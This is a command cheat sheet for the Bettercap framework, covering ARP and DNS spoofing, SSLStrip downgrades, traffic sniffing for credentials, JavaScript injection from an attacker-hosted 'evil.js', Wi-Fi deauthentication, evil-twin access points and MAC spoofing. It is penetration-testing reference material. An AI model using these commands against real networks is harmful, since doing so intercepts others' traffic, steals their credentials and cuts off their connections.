Bettercap
Bettercap is a powerful, modular framework for network attacks and monitoring. It supports ARP/DNS spoofing for MITM positioning, traffic sniffing and credential harvesting, HTTPS downgrade attacks, JavaScript injection into intercepted HTTP traffic, and Wi-Fi reconnaissance and deauthentication — making it one of the most versatile tools in a penetration tester's toolkit.
Setup
| Command | Description |
|---|---|
| bettercap -iface eth0 | Launches Bettercap and binds it to the specified network interface (replace eth0 with your own, e.g. wlan0). If no interface is provided, Bettercap automatically selects the default one. |
| bettercap -caplet http-ui | Starts Bettercap with its web-based UI, accessible from a browser at http://127.0.0.1 with the default credentials user/pass. Useful for visually monitoring hosts, modules, and captured events instead of the terminal interface. |
| mac.changer | Spoofs the MAC address of the attacker's network interface, helping to obscure the machine's real hardware identity during an operation. |
Network Reconnaissance
| Command | Description |
|---|---|
| net.probe on | Actively probes the local network to discover connected hosts, sending out packets to trigger responses from live devices. |
| net.recon on | Passively monitors network traffic to build a list of discovered hosts without actively probing them. |
| net.show | Displays the list of hosts discovered so far, including their IP addresses, MAC addresses, and vendor information. |
ARP Spoofing
| Command | Description |
|---|---|
| set arp.spoof.targets <target_ip> | Specifies the IP address (or comma-separated list of IPs) of the victim(s) to target during the ARP spoofing attack. |
| set arp.spoof.fullduplex true | Enables two-way spoofing, meaning both the target and the gateway are deceived — allowing Bettercap to intercept traffic in both directions. |
| set arp.spoof.internal true | Includes internal network hosts in the spoofing scope, useful when the target and gateway are part of the same local subnet. |
| arp.spoof on | Starts the ARP spoofing attack, positioning the attacker's machine as a man-in-the-middle between the target and the gateway. |
DNS Spoofing
| Command | Description |
|---|---|
| set dns.spoof.domains example.com | Defines which domain(s) will be spoofed when a target's device sends a DNS query for them. |
| set dns.spoof.address 192.168.1.100 | Sets the IP address that spoofed DNS responses will point to — typically the attacker's own machine, to redirect traffic through a fake or intercepting server. |
| dns.spoof on | Starts the DNS spoofing module, intercepting DNS queries from the target and returning forged responses for the configured domains. |
HTTPS Downgrade (SSLStrip)
| Command | Description |
|---|---|
| set http.proxy.sslstrip true | Enables SSLStrip, which attempts to downgrade HTTPS connections to HTTP by intercepting the initial request before a secure connection is established, exposing traffic that would otherwise be encrypted. |
| http.proxy on | Starts the HTTP proxy module, which is required for SSLStrip and other HTTP-based interception features to function. |
Sniffing & Credentials
| Command | Description |
|---|---|
| net.sniff on | Starts capturing and parsing network traffic passing through the attacker's machine, extracting readable data such as visited URLs and unencrypted credentials. |
| set net.sniff.verbose true | Enables detailed logging of every captured and parsed packet, providing more visibility into what net.sniff is intercepting. |
| events.stream on | Displays captured events — including credentials, visited hosts, and other intercepted data — in real time within the session. |
| set net.sniff.output sniffed.pcap | Saves all captured traffic to a .pcap file, which can later be analyzed in Wireshark for deeper inspection. |
JS Injection
| Command | Description |
|---|---|
| set http.proxy.injectjs http://<your-ip>/evil.js | Specifies a JavaScript file to be injected into every HTML page the target loads over HTTP, allowing custom scripts to run in the victim's browser. |
| http.proxy on | Starts the proxy module, which applies the configured JavaScript injection to intercepted HTTP traffic. |
WiFi
| Command | Description |
|---|---|
| wifi.recon on | Starts scanning for nearby wireless access points and connected clients. Requires a wireless adapter that supports monitor mode. |
| wifi.show | Displays the list of discovered access points, including their BSSID, SSID, and encryption type. |
| wifi.deauth <BSSID> | Sends deauthentication frames to disconnect clients from the specified access point, forcing them to reconnect — often used to capture a fresh WPA handshake. Use all or * to target every discovered access point. |
| wifi.ap | Creates a rogue access point (evil twin) using the configured SSID, BSSID, and channel, potentially tricking nearby devices into connecting to it. |
Sessions
| Command | Description |
|---|---|
| sessions.save mysession.cap | Saves the current session — including active modules and their configuration — to a caplet file for later reuse. |
| sessions.load mysession.cap | Loads a previously saved session, restoring its modules and configuration. |
Example Usage
Below is a real-world demonstration of Bettercap performing an automated MITM attack — see the full attack walkthrough here.